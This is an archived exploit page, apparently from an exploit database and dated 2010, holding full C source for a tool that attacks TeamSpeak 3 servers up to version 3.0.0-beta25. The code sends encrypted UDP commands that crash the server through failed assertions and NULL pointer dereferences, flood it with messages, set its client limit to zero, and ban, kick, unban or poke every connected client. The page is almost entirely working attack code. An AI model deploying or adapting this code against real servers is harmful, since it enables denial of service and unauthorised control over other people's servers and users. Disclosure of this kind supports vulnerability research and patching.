Teamspeak <= 3.0.0-beta25 Multiple Remote Vulnerabilities
Posted on 21 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Teamspeak <= 3.0.0-beta25 Multiple Remote Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================= Teamspeak <= 3.0.0-beta25 Multiple Remote Vulnerabilities ========================================================= /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <time.h> #ifdef WIN32 #include <winsock.h> #include "winerr.h" #define close closesocket #define sleep Sleep #define ONESEC 1000 #define waitms(x) sleep(x) #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #define ONESEC 1 #define stristr strcasestr #define stricmp strcasecmp #define waitms(x) sleep(x * 1000) #endif typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; #define VER "0.1" #define PORT 9987 #define BUFFSZ 0x400 // max 0x1f4 for "packetType != 1" #define SCAN_MS 40 #define INIT_TS3 if(sd) close(sd); sd = udp_sock(); p = buff; p += putrr(p, 8); /* tag */ p += putxx(p, 0, 16); /* header... */ p += putxx(p, 0, 16); p += putxx(p, 2, 8); /* packetType 2 is COMMAND */ static u8 *assert_cmds[] = { "banlist", "complainlist", "servernotifyunregister", "serverrequestconnectioninfo", "setconnectioninfo", "servernotifyregister event=server", NULL }; static u8 *null_cmds[] = { "bandelall", "channelcreate channel_name=name", "channelsubscribe cid=1", "channelsubscribeall", "banadd ip=1.2.3.4", "clientedit clid=1 client_description=none", "messageupdateflag msgid=1 flag=1", "complainadd tcldbid=1 message=none", "complaindelall tcldbid=1", "ftinitupload clientftfid=1 name=file.txt cid=5 cpw= size=9999 overwrite=1 resume=0", "ftgetfilelist cid=1 cpw= path=\/", "ftdeletefile cid=1 cpw= name=\/", "ftcreatedir cid=1 cpw= dirname=\/", "ftrenamefile cid=1 cpw= tcid=1 tcpw=secret oldname=\/ newname=\/", "ftinitdownload clientftfid=1 name=\/ cid=1 cpw= seekpos=0", NULL }; static u8 *virtualserver[] = { "virtualserver_antiflood_ban_time", "virtualserver_antiflood_points_needed_ban", "virtualserver_antiflood_points_needed_kick", "virtualserver_antiflood_points_needed_warning", "virtualserver_antiflood_points_tick_reduce", "virtualserver_autostart", "virtualserver_channelsonline", "virtualserver_client_connections", "virtualserver_clientsonline", "virtualserver_complain_autoban_count", "virtualserver_complain_autoban_time", "virtualserver_complain_remove_time", "virtualserver_created", "virtualserver_default_channel_admin_group", "virtualserver_default_channel_group", "virtualserver_default_server_group", "virtualserver_download_quota", "virtualserver_filebase", "virtualserver_flag_password", "virtualserver_hostbanner_gfx_interval", "virtualserver_hostbanner_gfx_url", "virtualserver_hostbanner_url", "virtualserver_hostbutton_gfx_url", "virtualserver_hostbutton_tooltip", "virtualserver_hostbutton_url", "virtualserver_hostmessage", "virtualserver_hostmessage_mode", "virtualserver_icon_id", "virtualserver_id", "virtualserver_keypair", "virtualserver_log_channel", "virtualserver_log_client", "virtualserver_log_filetransfer", "virtualserver_log_permissions", "virtualserver_log_query", "virtualserver_log_server", "virtualserver_machine_id", "virtualserver_max_download_total_bandwidth", "virtualserver_max_upload_total_bandwidth", "virtualserver_maxclients", "virtualserver_min_client_version", "virtualserver_min_clients_in_channel_before_forced_silence", "virtualserver_month_bytes_downloaded", "virtualserver_month_bytes_uploaded", "virtualserver_name_phonetic", "virtualserver_needed_identity_security_level", "virtualserver_password", "virtualserver_platform", "virtualserver_port", "virtualserver_priority_speaker_dimm_modificator", "virtualserver_query_client_connections", "virtualserver_queryclientsonline", "virtualserver_reserved_slots", "virtualserver_total_bytes_downloaded", "virtualserver_total_bytes_uploaded", "virtualserver_total_packetloss_control", "virtualserver_total_packetloss_keepalive", "virtualserver_total_packetloss_speech", "virtualserver_total_packetloss_total", "virtualserver_total_ping", "virtualserver_upload_quota", "virtualserver_uptime", "virtualserver_version", NULL }; int ts3_crypt(unsigned char *key /*includes nonce*/, int hdrlen, unsigned char *data, int data_len, int encrypt); int udp_sock(void); int putrr(u8 *dst, int len); int putmm(u8 *dst, u8 *src, int len); int putxx(u8 *data, u32 num, int bits); int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err); int timeout(int sock, int secs); u32 resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd = 0, i, len, bug; u16 port = PORT; u8 buff[BUFFSZ], *host, *p; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs(" " "TeamSpeak 3 <= 3.0.0-beta23 multiple vulnerabilities "VER" " "by Luigi Auriemma " "e-mail: aluigi@autistici.org " "web: aluigi.org " " ", stdout); if(argc < 3) { printf(" " "Usage: %s <bug> <host> [port(%d)]> " " " "Bugs and some examples: " " 1 = interface for sending any custom command " " 2 = test the failed assertions " " 3 = test the NULL pointer dereferences " " " " 4 = flooding of random server messages " " 5 = set the number of max clients to 0 (USE bug 1 and virtualserver for more) " " 6 = ban all the clients currently in the server " " 7 = unban all the banned clients " " 8 = kick all the clients currently in the server " " 9 = send a poke message to all the clients in the server " " ", argv[0], port); exit(1); } bug = atoi(argv[1]); host = argv[2]; if(argc > 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(host); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu ", inet_ntoa(peer.sin_addr), port); if(bug == 1) { printf( "- now you can send and test any command you desire " "- refer to doc\ts3_serverquery_manual.pdf for details and notes! " "- use the command "virtualserver" for a list of virtualserver parameters to " " change through the "serveredit" command (password, banner and so on) "); for(;;) { printf(" > "); INIT_TS3 fgets(p, BUFFSZ - (p - buff), stdin); for(; *p && (*p != ' ') && (*p != ' '); p++); *p = 0; if(!strcmp(buff + 8 + 5, "virtualserver")) { printf(" "); for(i = 0; virtualserver[i]; i++) { printf(" serveredit %s= ", virtualserver[i]); } printf(" - refer to doc\ts3_serverquery_manual.pdf for details and notes "); continue; } len = ts3_crypt(NULL, 5, buff, p - buff, 1); while((len = send_recv(sd, buff, len, buff, BUFFSZ, &peer, 0)) > 0) { len = ts3_crypt(NULL, 3, buff, len, 0); buff[len] = 0; printf("- %d %s ", len, buff + 8 + 3); } } } else if(bug == 2) { printf("- send commands that terminate the server due to failed assertions "); for(i = 0; assert_cmds[i]; i++) { INIT_TS3 p += putmm(p, assert_cmds[i], -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); } } else if(bug == 3) { printf("- send commands that terminate the server due to failed assertions "); for(i = 0; null_cmds[i]; i++) { INIT_TS3 p += putmm(p, null_cmds[i], -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); } } else if(bug == 4) { for(;;) { INIT_TS3 p += putmm(p, "sendtextmessage targetmode=3 msg=", -1); p += putrr(p, -1); //p += putmm(p, "\a\b\f\n\r\t\v", -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 5) { INIT_TS3 p += putmm(p, "serveredit virtualserver_maxclients=0", -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)); fputc('.', stdout); } else if(bug == 6) { for(i = 0;; i++) { printf("- ban client id %d ", i); INIT_TS3 p += sprintf(p, "banclient clid=%d", i); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 7) { for(i = 0;; i++) { printf("- remove banid %d ", i); INIT_TS3 p += sprintf(p, "bandel banid=%d", i); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 8) { for(i = 0;; i++) { printf("- kick client id %d ", i); INIT_TS3 p += sprintf(p, "clientkick clid=%d reasonid=5" /*" reasonmsg=byebye"*/, i); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 9) { for(i = 0;; i++) { printf("- send poke message to client id %d ", i); INIT_TS3 p += sprintf(p, "clientpoke clid=%d msg=", i); p += putrr(p, -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else { printf(" Error: invalid bug number (%d) ", bug); exit(1); } printf(" - done, check the server manually "); if(sd) close(sd); return(0); } #include <tomcrypt.h> int ts3_crypt(unsigned char *key /*includes nonce*/, int hdrlen, unsigned char *data, int data_len, int encrypt) { static int already_reg = 0; static const unsigned char default_key[] = "c:\windows\system\firewall32.cpl"; unsigned long tag = 8; int err, stat; if(data_len < (8 + hdrlen)) return(data_len); if(!key) key = (unsigned char *)default_key; if(!already_reg) { register_cipher(&aes_desc); already_reg = 1; } #define ts3_crypt_args 0, key, 16, /* key */ key + 16, 16, /* nonce */ data + 8, hdrlen, /* header */ data + 8 + hdrlen, data_len - (8 + hdrlen), /* input */ data + 8 + hdrlen, /* output */ data /* tag */ if(encrypt) { err = eax_encrypt_authenticate_memory(ts3_crypt_args, &tag); } else { err = eax_decrypt_verify_memory(ts3_crypt_args, tag, &stat); } if(err != CRYPT_OK) return(-1); return(data_len); } int udp_sock(void) { static struct sockaddr_in *peerl = NULL; static struct linger ling = {1,1}; static int on = 1; int sd; sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling)); setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)); //setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)); // it's necessary a different port for each packet otherwise // the server will wait some seconds before handling the others! if(!peerl) { peerl = malloc(sizeof(struct sockaddr_in)); peerl->sin_addr.s_addr = INADDR_ANY; peerl->sin_port = htons(time(NULL)); peerl->sin_family = AF_INET; } do { peerl->sin_port++; } while(bind(sd, (struct sockaddr *)peerl, sizeof(struct sockaddr_in)) < 0); return(sd); } int putrr(u8 *dst, int len) { static const char table[] = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; static int rnd = 0; int i, mode = 0; if(!rnd) rnd = ~time(NULL); if(len < 0) { len = (unsigned)rnd % 100; // 0x1f4, pokes are max 100 chars mode = 1; } for(i = 0; i < len; i++) { rnd = ((rnd * 0x343FD) + 0x269EC3) >> 1; if(mode) { dst[i] = table[rnd % (sizeof(table) - 1)]; } else { dst[i] = rnd; } } return(len); } int putmm(u8 *dst, u8 *src, int len) { if(len < 0) len = strlen(src); memcpy(dst, src, len); return(len); } int putxx(u8 *data, u32 num, int bits) { int i, bytes; bytes = bits >> 3; for(i = 0; i < bytes; i++) { data[i] = (num >> ((bytes - 1 - i) << 3)); //data[i] = (num >> (i << 3)); } return(bytes); } int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) { int retry, len; if(in && !out) { fputc('.', stdout); if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) < 0) goto quit; return(0); } if(in) { for(retry = 1; retry; retry--) { // only one retry fputc('.', stdout); if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) < 0) goto quit; if(!timeout(sd, 1)) break; } if(!retry) { if(!err) return(-1); printf(" Error: socket timeout, no reply received "); exit(1); } } else { if(timeout(sd, 1) < 0) return(-1); // only one second } fputc('.', stdout); len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0) goto quit; return(len); quit: if(err) std_err(); return(-1); } int timeout(int sock, int secs) { struct timeval tout; fd_set fd_read; tout.tv_sec = secs; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); if(select(sock + 1, &fd_read, NULL, NULL, &tout) <= 0) return(-1); return(0); } u32 resolv(char *host) { struct hostent *hp; u32 host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf(" Error: Unable to resolv hostname (%s) ", host); exit(1); } else host_ip = *(u32 *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror(" Error"); exit(1); } #endif # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>